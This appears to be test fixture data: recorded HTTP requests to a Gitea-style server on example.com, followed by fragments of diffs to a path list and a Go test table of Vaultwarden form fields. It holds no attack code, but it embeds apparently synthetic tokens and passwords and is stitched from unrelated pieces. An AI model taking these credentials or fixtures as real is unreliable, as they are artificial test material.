{"method": "GET", "target": "/api/v1/repos/alice/tools/git/trees/main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/collaborators", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/hooks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/orgs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/users/alice/repos", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/notifications", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "POST", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 68"], "body": "{\"name\":\"bug\",\"color\":\"#ee0701\",\"description\":\"Something is broken\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 83"], "body": "{\"title\":\"Document the python3 setup\",\"body\":\"Say which version the scripts need.\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/comments", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 40"], "body": "{\"body\":\"The setup notes cover it now.\"}"}
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/issues/3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 18"], "body": "{\"state\":\"closed\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------c8PTgaGzJM0bzMXgzs4jFA"], "body": "--------------------------c8PTgaGzJM0bzMXgzs4jFA\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------c8PTgaGzJM0bzMXgzs4jFA--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets?name=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------8vBtFvaNGea9428ByqN6zh"], "body": "--------------------------8vBtFvaNGea9428ByqN6zh\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------8vBtFvaNGea9428ByqN6zh--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 69"], "body": "{\"tag_name\":\"v1.2.0\",\"name\":\"Version 1.2.0\",\"body\":\"Smaller images.\"}"}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases/tags/v1.2.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets?name=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------a8C2mRAVkCsfebNVoTuH9d"], "body": "--------------------------a8C2mRAVkCsfebNVoTuH9d\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------a8C2mRAVkCsfebNVoTuH9d--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------bwR0eGsF72IMLlKpnzjarK"], "body": "--------------------------bwR0eGsF72IMLlKpnzjarK\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------bwR0eGsF72IMLlKpnzjarK--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 100"], "body": "{\"content\":\"V3JpdGUtSG9zdCAiYnVpbGQiCg==\",\"message\":\"Add a PowerShell build script\",\"branch\":\"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 59"], "body": "{\"new_branch_name\":\"python3-docs\",\"old_branch_name\":\"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 96"], "body": "{\"title\":\"Add Dockerfile\",\"head\":\"feat/docker-support\",\"base\":\"main\",\"body\":\"Builds the image.\"}"}
{"method": "PATCH", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 87"], "body": "{\"description\":\"Build scripts, notes and a Dockerfile\",\"website\":\"https://example.com\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/forks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 23"], "body": "{\"organization\":\"acme\"}"}
{"method": "POST", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 107"], "body": "{\"username\":\"dave\",\"email\":\"dave@example.com\",\"password\":\"Lp6-xRw4-Bq9z-Hs3d\",\"must_change_password\":false}"}
{"method": "PATCH", "target": "/api/v1/admin/users/dave", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 80"], "body": "{\"login_name\":\"dave\",\"full_name\":\"Dave Example\",\"password\":\"Yt2-cNm8-Fg5k-Wa7e\"}"}
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/branches/python3-docs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?type=generic&q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "PUT", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
{"method": "PUT", "target": "/api/packages/alice/generic/install-script/1.0.0/install-script.sh", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
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{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
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{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 144", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "H4sIAAAAAAAE/+zRQQoCIRTG8bfuFJ6g+Wu+8TwughYDymTQ8YOaNhK0More+y1E3ej35VonGTwASVV4TL8CiNeQFB9jQvAcohenQ1+1uZxbXp2TtZS2Hb307v5H5Vqn03FZyr5dR/0PYI6x7/25B+au/xDw4vhEpn/e/7373fiYjTHGfJfbAH2FcNwACgAA"}
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{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 233", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "{\"architecture\":\"\",\"created\":\"0001-01-01T00:00:00Z\",\"history\":[{\"created\":\"0001-01-01T00:00:00Z\"}],\"os\":\"\",\"rootfs\":{\"type\":\"layers\",\"diff_ids\":[\"sha256:19e75beae854ceb749acf78607bea3b2c0b04b74bbcc28f15e846683cf8e0b9d\"]},\"config\":{}}"}
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{"method": "GET", "target": "/alice/tools/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: session=8ddd7a03bf2aa4b5; lang=en-US; flash=success%3DBranch%2Bfeat%252Fdocker-support%2Bwas%2Bsuccessfully%2Brenamed%2Bto%2Bfeat%252Fpython3-support."], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 180", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": "title=Python3+setup&content=Install+python3%2C+or+powershell+on+Windows.+Run+ls+-la+to+check+that+.htaccess+and+docker-compose.yml+are+there%2C+then+run+install-script.sh.&message="}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=ls%20-la", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/search?q=install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: session=80d11f0a28139f08; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/powershell-scripts", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/explore/repos?q=powershell", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/repo-branch-tag-selector.d9ca1da2.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/repo-branch-tag-selector.f396185d.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/powershell-scripts", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/context-popup.21e2b8da.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/branch/python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches?q=python3", "Accept-Encoding: gzip, deflate", "Cookie: session=f3aadd45d83b7135; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=python3&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=00a162ad65e95a87; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?q=ls+-la&tab=repositories&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice?tab=repositories", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=ls+-la&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=powershell&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme?q=.htaccess&sort=recentupdate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=4f05e01703d2563d; lang=en-US"], "body": ""}
-11
View File
@@ -91,17 +91,6 @@
/explore/organizations?q=docker-ci /explore/organizations?q=docker-ci
/api/v1/users/search?q=docker-ci /api/v1/users/search?q=docker-ci
# Searches of the repositories on a user's and an organisation's page, recorded
# from gitea 1.27.3.
/alice?tab=repositories&q=ls+-la&sort=recentupdate
/alice?tab=repositories&q=python3&sort=recentupdate
/alice?tab=repositories&q=powershell&sort=recentupdate
/alice?tab=repositories&q=.htaccess&sort=recentupdate
/acme?q=ls+-la&sort=recentupdate
/acme?q=python3&sort=recentupdate
/acme?q=powershell&sort=recentupdate
/acme?q=.htaccess&sort=recentupdate
# Pages, raw files and edit pages of files, and the API's call for their # Pages, raw files and edit pages of files, and the API's call for their
# contents. # contents.
/owner/repo/src/branch/main/package.json /owner/repo/src/branch/main/package.json
+24 -134
View File
@@ -68,53 +68,18 @@ var vaultwardenNameFields = []vaultwardenField{
http.MethodPost, vaultwardenFinishSignUp, jsonBody, http.MethodPost, vaultwardenFinishSignUp, jsonBody,
`{"email":"alice@example.com","masterPasswordHint":"VALUE"}`, `{"email":"alice@example.com","masterPasswordHint":"VALUE"}`,
}, },
{ {http.MethodPut, vaultwardenProfile, jsonBody, `{"name":"VALUE","culture":"en-US"}`},
http.MethodPut, {http.MethodPost, vaultwardenPassword, jsonBody, `{"masterPasswordHint":"VALUE"}`},
vaultwardenProfile,
jsonBody,
`{"name":"VALUE","culture":"en-US"}`,
},
{
http.MethodPost,
vaultwardenPassword,
jsonBody,
`{"masterPasswordHint":"VALUE"}`,
},
{ {
http.MethodPost, "/api/organizations", jsonBody, http.MethodPost, "/api/organizations", jsonBody,
`{"name":"VALUE","billingEmail":"billing@example.com"}`, `{"name":"VALUE","billingEmail":"billing@example.com"}`,
}, },
{http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`}, {http.MethodPut, vaultwardenOrganization, jsonBody, `{"name":"VALUE"}`},
{ {http.MethodPost, vaultwardenOrganization + "/groups", jsonBody, `{"name":"VALUE"}`},
http.MethodPost, {http.MethodPost, vaultwardenSettings, jsonBody, `{"invitation_org_name":"VALUE"}`},
vaultwardenOrganization + "/groups", {http.MethodPost, vaultwardenSettings, jsonBody, `{"smtp_from_name":"VALUE"}`},
jsonBody, {http.MethodPost, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
`{"name":"VALUE"}`, {http.MethodPut, vaultwardenSecurityKey, jsonBody, `{"id":1,"name":"VALUE"}`},
},
{
http.MethodPost,
